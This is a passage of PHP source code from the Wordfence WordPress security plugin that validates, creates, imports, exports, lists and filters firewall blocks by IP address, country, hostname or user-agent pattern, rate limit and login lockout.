if (self::isWhitelisted(trim($payload['ip']))) { return wp_kses(sprintf(/* translators: Support URL */ __('This IP address is in a range of addresses that Wordfence does not block. The IP range may be internal or belong to a service that is always allowed. Allowlisting of external services can be disabled. <a href="%s" target="_blank" rel="noopener noreferrer">Learn More<span class="screen-reader-text"> (opens in new tab)</span></a>', 'wordfence'), wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF_OPTION_WHITELISTED_SERVICES)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'=>array()))); }
}
else if ($payload['type'] == 'country') {
if (!isset($payload['blockLogin']) || !isset($payload['blockSite'])) { return __('Nothing selected to block.', 'wordfence'); }
if (!$payload['blockLogin'] && !$payload['blockSite']) { return __('Nothing selected to block.', 'wordfence'); }
if (!isset($payload['countries']) || empty($payload['countries']) || !is_array($payload['countries'])) { return __('No countries selected.', 'wordfence'); }
require(WORDFENCE_PATH . 'lib/wfBulkCountries.php'); /** @var array $wfBulkCountries */
foreach ($payload['countries'] as $code) {
if (!isset($wfBulkCountries[$code])) {
return __('An invalid country was selected.', 'wordfence');
}
}
}
else if ($payload['type'] == 'custom-pattern') {
$hasOne = false;
if (isset($payload['ipRange']) && !empty($payload['ipRange'])) {
$ipRange = new wfUserIPRange($payload['ipRange']);
if ($ipRange->isValidRange()) {
if ($ipRange->isMixedRange()) {
return __('Ranges mixing IPv4 and IPv6 addresses are not supported.', 'wordfence');
}
$hasOne = true;
}
else {
return __('Invalid IP range.', 'wordfence');
}
}
if (isset($payload['hostname']) && !empty($payload['hostname'])) {
if (preg_match('/^[a-z0-9\.\*\-]+$/i', $payload['hostname'])) {
$hasOne = true;
}
else {
return __('Invalid hostname.', 'wordfence');
}
}
if (isset($payload['userAgent']) && !empty($payload['userAgent'])) { $hasOne = true; }
if (isset($payload['referrer']) && !empty($payload['referrer'])) { $hasOne = true; }
if (!$hasOne) { return __('No block parameters provided.', 'wordfence'); }
}
return true;
}
/**
* Creates the block. The $payload value is expected to have been validated prior to calling this.
*
* @param $payload
*/
public static function create($payload) {
$type = $payload['type'];
$duration = max((int) $payload['duration'], 0);
$reason = $payload['reason'];
if ($type == 'ip-address') {
$ip = trim($payload['ip']);
wfBlock::createIP($reason, $ip, $duration);
}
else if ($type == 'country') {
$blockLogin = !!$payload['blockLogin'];
$blockSite = !!$payload['blockSite'];
$countries = array_unique($payload['countries']);
wfBlock::createCountry($reason, $blockLogin, $blockSite, $countries, $duration);
}
else if ($type == 'custom-pattern') {
$ipRange = '';
if (isset($payload['ipRange']) && !empty($payload['ipRange'])) {
$ipRange = new wfUserIPRange($payload['ipRange']);
$ipRange = $ipRange->getIPString();
}
$hostname = (isset($payload['hostname']) && !empty($payload['hostname'])) ? $payload['hostname'] : '';
$userAgent = (isset($payload['userAgent']) && !empty($payload['userAgent'])) ? $payload['userAgent'] : '';
$referrer = (isset($payload['referrer']) && !empty($payload['referrer'])) ? $payload['referrer'] : '';
wfBlock::createPattern($reason, $ipRange, $hostname, $userAgent, $referrer, $duration);
}
}
/**
* Creates an IP block if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $ip
* @param int $duration Optional. Defaults to forever. This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createIP($reason, $ip, $duration = self::DURATION_FOREVER, $blockedTime = false, $lastAttempt = false, $blockedHits = false, $type = self::TYPE_IP_MANUAL) {
global $wpdb;
if (self::isWhitelisted($ip)) { return; }
if ($blockedTime === false) {
$blockedTime = time();
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$blocksTable = wfBlock::blocksTable();
$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), $type));
if (!$hasExisting) {
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", $type, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
wfConfig::inc('totalIPsBlocked');
}
if ($type == self::TYPE_IP_MANUAL || $type == self::TYPE_IP_AUTOMATIC_PERMANENT) {
/**
* Fires when an IP/Pattern block is created.
*
* @since 8.0.0
*
* @param string $type The type of block.
* @param string $reason The reason for the block.
* @param string|array $parameters The IP address being blocked for IP blocks or the pattern for pattern blocks.
*/
do_action('wordfence_created_ip_pattern_block', $type, $reason, $ip);
}
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Creates an IP block for a WFSN response if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $ip
* @param int $duration This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createWFSN($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
global $wpdb;
if (self::isWhitelisted($ip)) { return; }
if ($blockedTime === false) {
$blockedTime = time();
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$blocksTable = wfBlock::blocksTable();
$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_WFSN_TEMPORARY));
if (!$hasExisting) {
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_WFSN_TEMPORARY, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
wfConfig::inc('totalIPsBlocked');
}
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Creates an IP block for a rate limit if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $ip
* @param int $duration This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createRateBlock($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
global $wpdb;
if (self::isWhitelisted($ip)) { return; }
if ($blockedTime === false) {
$blockedTime = time();
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$blocksTable = wfBlock::blocksTable();
$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_RATE_BLOCK));
if (!$hasExisting) {
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_RATE_BLOCK, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
wfConfig::inc('totalIPsBlocked');
}
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Creates an IP throttle for a rate limit if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $ip
* @param int $duration This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createRateThrottle($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
global $wpdb;
if (self::isWhitelisted($ip)) { return; }
if ($blockedTime === false) {
$blockedTime = time();
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$blocksTable = wfBlock::blocksTable();
$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_RATE_THROTTLE));
if (!$hasExisting) {
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_RATE_THROTTLE, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
wfConfig::inc('totalIPsBlocked');
}
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Creates a lockout if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $ip
* @param int $duration This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createLockout($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
global $wpdb;
if (self::isWhitelisted($ip)) { return; }
if ($blockedTime === false) {
$blockedTime = time();
}
$blocksTable = wfBlock::blocksTable();
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_LOCKOUT));
if (!$hasExisting) {
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_LOCKOUT, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
wfConfig::inc('totalIPsLocked');
}
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Creates a country block. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $blockLogin
* @param string $blockSite
* @param string $countries
* @param int $duration Optional. Defaults to forever. This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createCountry($reason, $blockLogin, $blockSite, $countries, $duration = self::DURATION_FOREVER, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
global $wpdb;
if ($blockedTime === false) {
$blockedTime = time();
}
$parameters = array(
'blockLogin' => $blockLogin ? 1 : 0,
'blockSite' => $blockSite ? 1 : 0,
'countries' => $countries,
);
$blocksTable = wfBlock::blocksTable();
$existing = $wpdb->get_row($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `type` = %d LIMIT 1", self::TYPE_COUNTRY), ARRAY_A);
$before = array(
'parameters' => null,
'bypass' => array(
'cbl_loggedInBlocked' => wfConfig::get('cbl_loggedInBlocked', false),
'cbl_action' => wfConfig::get('cbl_action'),
'cbl_redirURL' => wfConfig::get('cbl_redirURL', ''),
'cbl_bypassRedirURL' => wfConfig::get('cbl_bypassRedirURL', ''),
'cbl_bypassRedirDest' => wfConfig::get('cbl_bypassRedirDest', ''),
'cbl_bypassViewURL' => wfConfig::get('cbl_bypassViewURL', ''),
),
);
$after = $before;
$after['parameters'] = $parameters;
if ($existing) {
$before['parameters'] = @json_decode($existing['parameters'], true);
if (!is_array($before['parameters'])) { $before['parameters'] = array(); }
$wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `parameters` = %s WHERE `id` = %d", $reason, json_encode($parameters), $existing['id']));
}
else {
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, %s, %d, %s, %d, %d, %d, %s)", self::TYPE_COUNTRY, self::MARKER_COUNTRY, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration), json_encode($parameters)));
}
/**
* Fires when the country blocking rule is updated.
*
* @since 8.0.0
*
* @param array $before {
* The country block configuration before the change
*
* @type array $parameters The parameters of the country block.
* @type array $bypass {
* The assorted bypass settings for country blocking.
*
* @type bool $cbl_loggedInBlocked Block countries even if there is a valid logged-in user for the request
* @type string $cbl_action Action taken when a request is received from a blocked country
* @type string $cbl_redirURL URL destination when $cbl_action is `redir`
* @type string $cbl_bypassRedirURL If a visitor hits this URL
* @type string $cbl_bypassRedirDest then redirect to this URL and set a cookie that will bypass all country blocking
* @type string $cbl_bypassViewURL If a user currently not blocked hits this URL, then set a cookie that will bypass country blocking in the future even if visiting from a blocked country
* }
* }
* @param array $after The country block configuration after the change, same structure as $before
*/
do_action('wordfence_updated_country_blocking', $before, $after);
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Creates a pattern block. The parameters are expected to have been validated and sanitized prior to calling this.
*
* @param string $reason
* @param string $ipRange
* @param string $hostname
* @param string $userAgent
* @param string $referrer
* @param int $duration Optional. Defaults to forever. This is the number of seconds for the block to last.
* @param bool|int $blockedTime Optional. Defaults to the current timestamp.
* @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
* @param bool|int $blockedHits Optional. Defaults to 0.
*/
public static function createPattern($reason, $ipRange, $hostname, $userAgent, $referrer, $duration = self::DURATION_FOREVER, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
global $wpdb;
if ($blockedTime === false) {
$blockedTime = time();
}
$parameters = array(
'ipRange' => $ipRange,
'hostname' => $hostname,
'userAgent' => $userAgent,
'referrer' => $referrer,
);
$blocksTable = wfBlock::blocksTable();
$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, %s, %d, %s, %d, %d, %d, %s)", self::TYPE_PATTERN, self::MARKER_PATTERN, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration), json_encode($parameters)));
/**
* @see wfBlock::createIP()
*/
do_action('wordfence_created_ip_pattern_block', self::TYPE_PATTERN, $reason, $parameters);
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Removes all expired blocks.
*/
public static function vacuum() {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$wpdb->query("DELETE FROM `{$blocksTable}` WHERE `expiration` <= UNIX_TIMESTAMP() AND `expiration` != " . self::DURATION_FOREVER);
}
/**
* Imports all valid blocks in $blocks. If $replaceExisting is true, this will remove all permanent blocks prior to the import.
*
* @param array $blocks
* @param bool $replaceExisting
*/
public static function importBlocks($blocks, $replaceExisting = true) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
if ($replaceExisting) {
$removing = self::_recordsFromRows($wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `expiration` = " . self::DURATION_FOREVER, ARRAY_A));
self::removeMultiple($removing, true);
}
foreach ($blocks as $b) {
self::_importBlock($b);
}
if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
}
}
/**
* Validates the block import record and inserts it if valid. This validation is identical to what is applied to adding one through the UI.
*
* @param array $b
* @return bool
*/
private static function _importBlock($b) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
if (!isset($b['type']) || !isset($b['IP']) || !isset($b['blockedTime']) || !isset($b['reason']) || !isset($b['lastAttempt']) || !isset($b['blockedHits'])) { return false; }
if (empty($b['IP']) || empty($b['reason'])) { return false; }
$ip = wfUtils::inet_ntop(wfUtils::hex2bin($b['IP']));
if (!wfUtils::isValidIP($ip)) { return false; }
switch ($b['type']) {
case self::TYPE_IP_MANUAL:
case self::TYPE_IP_AUTOMATIC_TEMPORARY:
case self::TYPE_IP_AUTOMATIC_PERMANENT:
case self::TYPE_WFSN_TEMPORARY:
case self::TYPE_RATE_BLOCK:
case self::TYPE_RATE_THROTTLE:
case self::TYPE_LOCKOUT:
if (self::isWhitelisted($ip)) { return false; }
if ($b['type'] == self::TYPE_IP_MANUAL || $b['type'] == self::TYPE_IP_AUTOMATIC_PERMANENT) {
/**
* @see wfBlock::createIP()
*/
do_action('wordfence_created_ip_pattern_block', $b['type'], $b['reason'], $ip);
}
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
return $wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", (int) $b['type'], (int) $b['blockedTime'], $b['reason'], (int) $b['lastAttempt'], (int) $b['blockedHits'], self::DURATION_FOREVER)) !== false;
case self::TYPE_COUNTRY:
if (!isset($b['parameters'])) { return false; }
if (wfUtils::inet_pton($ip) != self::MARKER_COUNTRY) { return false; }
$parameters = @json_decode($b['parameters'], true);
if (!is_array($parameters)) { $parameters = array(); }
if (!isset($parameters['blockLogin']) || !isset($parameters['blockSite']) || !isset($parameters['countries'])) { return false; }
$parameters['blockLogin'] = wfUtils::truthyToInt($parameters['blockLogin']);
$parameters['blockSite'] = wfUtils::truthyToInt($parameters['blockSite']);
require(WORDFENCE_PATH . 'lib/wfBulkCountries.php'); /** @var array $wfBulkCountries */
foreach ($parameters['countries'] as $code) {
if (!isset($wfBulkCountries[$code])) {
return false;
}
}
$parameters = array('blockLogin' => $parameters['blockLogin'], 'blockSite' => $parameters['blockSite'], 'countries' => $parameters['countries']);
$before = array(
'parameters' => null,
'bypass' => array(
'cbl_loggedInBlocked' => wfConfig::get('cbl_loggedInBlocked', false),
'cbl_action' => wfConfig::get('cbl_action'),
'cbl_redirURL' => wfConfig::get('cbl_redirURL', ''),
'cbl_bypassRedirURL' => wfConfig::get('cbl_bypassRedirURL', ''),
'cbl_bypassRedirDest' => wfConfig::get('cbl_bypassRedirDest', ''),
'cbl_bypassViewURL' => wfConfig::get('cbl_bypassViewURL', ''),
),
);
$after = $before;
$after['parameters'] = $parameters;
/**
* @see wfBlock::createCountry()
*/
do_action('wordfence_updated_country_blocking', $before, $after);
$ipHex = wfDB::binaryValueToSQLHex(self::MARKER_COUNTRY);
return $wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, %s)", self::TYPE_COUNTRY, (int) $b['blockedTime'], $b['reason'], (int) $b['lastAttempt'], (int) $b['blockedHits'], self::DURATION_FOREVER, json_encode($parameters))) !== false;
case self::TYPE_PATTERN:
if (!isset($b['parameters'])) { return false; }
if (wfUtils::inet_pton($ip) != self::MARKER_PATTERN) { return false; }
$parameters = @json_decode($b['parameters'], true);
if (!is_array($parameters)) { $parameters = array(); }
if (!isset($parameters['ipRange']) || !isset($parameters['hostname']) || !isset($parameters['userAgent']) || !isset($parameters['referrer'])) { return false; }
$hasOne = false;
if (!empty($parameters['ipRange'])) {
$ipRange = new wfUserIPRange($parameters['ipRange']);
if ($ipRange->isValidRange()) {
if ($ipRange->isMixedRange()) {
return false;
}
$hasOne = true;
}
else {
return false;
}
}
if (!empty($parameters['hostname'])) {
if (preg_match('/^[a-z0-9\.\*\-]+$/i', $parameters['hostname'])) {
$hasOne = true;
}
else {
return false;
}
}
if (!empty($parameters['userAgent'])) { $hasOne = true; }
if (!empty($parameters['referrer'])) { $hasOne = true; }
if (!$hasOne) { return false; }
$ipRange = '';
if (!empty($parameters['ipRange'])) {
$ipRange = new wfUserIPRange($parameters['ipRange']);
$ipRange = $ipRange->getIPString();
}
$parameters = array(
'ipRange' => $ipRange,
'hostname' => $parameters['hostname'],
'userAgent' => $parameters['userAgent'],
'referrer' => $parameters['referrer'],
);
/**
* @see wfBlock::createIP()
*/
do_action('wordfence_created_ip_pattern_block', $b['type'], $b['reason'], $parameters);
$ipHex = wfDB::binaryValueToSQLHex(self::MARKER_PATTERN);
return $wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, %s)", self::TYPE_PATTERN, (int) $b['blockedTime'], $b['reason'], (int) $b['lastAttempt'], (int) $b['blockedHits'], self::DURATION_FOREVER, json_encode($parameters))) !== false;
}
return false;
}
/**
* Returns an array suitable for JSON output of all permanent blocks.
*
* @return array
*/
public static function exportBlocks() {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$query = "SELECT `type`, HEX(`IP`) AS `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `parameters` FROM `{$blocksTable}` WHERE `expiration` = " . self::DURATION_FOREVER;
$rows = $wpdb->get_results($query, ARRAY_A);
return $rows;
}
/**
* Returns all unexpired blocks (including lockouts by default), optionally only of the specified types. These are sorted descending by the time created.
*
* @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
* @param array $ofTypes An optional array of block types to restrict the returned array of blocks to.
* @param int $offset The offset to start the result fetch at.
* @param int $limit The maximum number of results to return. -1 for all.
* @param string $sortColumn The column to sort by.
* @param string $sortDirection The direction to sort.
* @param string $filter An optional value to filter by.
* @return wfBlock[]
*/
public static function allBlocks($prefetch = false, $ofTypes = array(), $offset = 0, $limit = -1, $sortColumn = 'type', $sortDirection = 'ascending', $filter = '') {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$columns = '`id`';
if ($prefetch) {
$columns = '*';
}
$sort = 'typeSort';
switch ($sortColumn) { //Match the display table column to the corresponding schema column
case 'type':
//Use default;
break;
case 'detail':
$sort = 'detailSort';
break;
case 'ruleAdded':
$sort = 'blockedTime';
break;
case 'reason':
$sort = 'reason';
break;
case 'expiration':
$sort = 'expiration';
break;
case 'blockCount':
$sort = 'blockedHits';
break;
case 'lastAttempt':
$sort = 'lastAttempt';
break;
}
$order = 'ASC';
if ($sortDirection == 'descending') {
$order = 'DESC';
}
$query = "SELECT {$columns}, CASE
WHEN `type` = " . self::TYPE_COUNTRY . " THEN 0
WHEN `type` = " . self::TYPE_PATTERN . " THEN 1
WHEN `type` = " . self::TYPE_LOCKOUT . " THEN 2
WHEN `type` = " . self::TYPE_RATE_THROTTLE . " THEN 3
WHEN `type` = " . self::TYPE_RATE_BLOCK . " THEN 4
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_PERMANENT . " THEN 5
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_TEMPORARY . " THEN 6
WHEN `type` = " . self::TYPE_WFSN_TEMPORARY . " THEN 7
WHEN `type` = " . self::TYPE_IP_MANUAL . " THEN 8
ELSE 9999
END AS `typeSort`, CASE
WHEN `type` = " . self::TYPE_COUNTRY . " THEN `parameters`
WHEN `type` = " . self::TYPE_PATTERN . " THEN `parameters`
WHEN `type` = " . self::TYPE_IP_MANUAL . " THEN `IP`
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_PERMANENT . " THEN `IP`
WHEN `type` = " . self::TYPE_RATE_BLOCK . " THEN `IP`
WHEN `type` = " . self::TYPE_RATE_THROTTLE . " THEN `IP`
WHEN `type` = " . self::TYPE_LOCKOUT . " THEN `IP`
WHEN `type` = " . self::TYPE_WFSN_TEMPORARY . " THEN `IP`
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_TEMPORARY . " THEN `IP`
ELSE 9999
END AS `detailSort`
FROM `{$blocksTable}` WHERE ";
if (!empty($ofTypes)) {
$sanitizedTypes = array_map('intval', $ofTypes);
$query .= "`type` IN (" . implode(', ', $sanitizedTypes) . ') AND ';
}
$query .= '(`expiration` = ' . self::DURATION_FOREVER . " OR `expiration` > UNIX_TIMESTAMP()) ORDER BY `{$sort}` {$order}, `id` DESC";
if ($limit > -1) {
$offset = (int) $offset;
$limit = (int) $limit;
$query .= " LIMIT {$offset},{$limit}";
}
$rows = $wpdb->get_results($query, ARRAY_A);
$result = array();
foreach ($rows as $r) {
if ($prefetch) {
if ($r['type'] == self::TYPE_COUNTRY || $r['type'] == self::TYPE_PATTERN) {
$ip = null;
}
else {
$ip = wfUtils::inet_ntop($r['IP']);
}
$parameters = null;
if ($r['type'] == self::TYPE_PATTERN || $r['type'] == self::TYPE_COUNTRY) {
$parameters = @json_decode($r['parameters'], true);
if (!is_array($parameters)) { $parameters = array(); }
}
$result[] = new wfBlock($r['id'], $r['type'], $ip, $r['blockedTime'], $r['reason'], $r['lastAttempt'], $r['blockedHits'], $r['expiration'], $parameters);
}
else {
$result[] = new wfBlock($r['id']);
}
}
return $result;
}
/**
* Functions identically to wfBlock::allBlocks except that it filters the result. The filtering is done within PHP rather than MySQL, so this will impose a performance penalty and should only
* be used when filtering is actually wanted.
*
* @param bool $prefetch
* @param array $ofTypes
* @param int $offset
* @param int $limit
* @param string $sortColumn
* @param string $sortDirection
* @param string $filter
* @return wfBlock[]
*/
public static function filteredBlocks($prefetch = false, $ofTypes = array(), $offset = 0, $limit = -1, $sortColumn = 'type', $sortDirection = 'ascending', $filter = '') {
$filter = trim($filter);
$matchType = '';
$matchValue = '';
if (empty($filter)) {
return self::allBlocks($prefetch, $ofTypes, $offset, $limit, $sortColumn, $sortDirection);
}
else if (wfUtils::isValidIP($filter)) { //e.g., 4.5.6.7, ffe0::, ::0
$matchType = 'ip';
$matchValue = wfUtils::inet_ntop(wfUtils::inet_pton($filter));
}
if (empty($matchType) && preg_match('/^(?:[0-9]+|\*)\.(?:(?:[0-9]+|\*)\.(?!$))*(?:(?:[0-9]+|\*))?$/', trim($filter, '.'))) { //e.g., possible wildcard IPv4 like 4.5.*
$components = explode('.', trim($filter, '.'));
if (count($components) <= 4) {
$components = array_pad($components, 4, '*');
$matchType = 'ipregex';
$matchValue = '^';
foreach ($components as $c) {
if (empty($c) || $c == '*') {
$matchValue .= '\d+';
}
else {
$matchValue .= (int) $c;
}
$matchValue .= '\.';
}
$matchValue = substr($matchValue, 0, -2);
$matchValue .= '$';
}
}
if (empty($matchType) && preg_match('/^(?:[0-9a-f]+\:)(?:[0-9a-f]+\:|\*){1,2}(?:[0-9a-f]+|\*)?$/i', $filter)) { //e.g., possible wildcard IPv6 like ffe0:*
$components = explode(':', $filter);
$matchType = 'ipregex';
$matchValue = '^';
for ($i = 0; $i < 4; $i++) {
if (isset($components[$i])) {
$matchValue .= strtoupper(str_pad(dechex($components[$i]), 4, '0', STR_PAD_LEFT));
}
else {
$matchValue .= '[0-9a-f]{4}';
}
$matchValue .= ':';
}
$matchValue = substr($matchValue, 0, -1);
$matchValue .= '$';
}
if (empty($matchType)) {
$matchType = 'literal';
$matchValue = $filter;
}
$offsetProcessed = 0;
$limitProcessed = 0;
$returnBlocks = array();
for ($i = 0; true; $i += WORDFENCE_BLOCKED_IPS_PER_PAGE) {
$blocks = wfBlock::allBlocks(true, $ofTypes, $i, WORDFENCE_BLOCKED_IPS_PER_PAGE, $sortColumn, $sortDirection);
if (empty($blocks)) {
break;
}
foreach ($blocks as $b) {
$include = false;
if (stripos($b->reason, $filter) !== false) {
$include = true;
}
if (!$include && $b->type == self::TYPE_PATTERN) {
if (stripos($b->hostname, $filter) !== false) { $include = true; }
else if (stripos($b->userAgent, $filter) !== false) { $include = true; }
else if (stripos($b->referrer, $filter) !== false) { $include = true; }
else if (stripos($b->ipRange, $filter) !== false) { $include = true; }
}
if (!$include && stripos(self::nameForType($b->type), $filter) !== false) {
$include = true;
}
if (!$include) {
switch ($matchType) {
case 'ip':
if ($b->matchRequest($matchValue, '', '') != self::MATCH_NONE) {
$include = true;
}
else if ($b->type == self::TYPE_LOCKOUT && wfUtils::inet_pton($matchValue) == wfUtils::inet_pton($b->ip)) {
$include = true;
}
break;
case 'ipregex':
if (preg_match('/' . $matchValue . '/i', $b->ip)) {
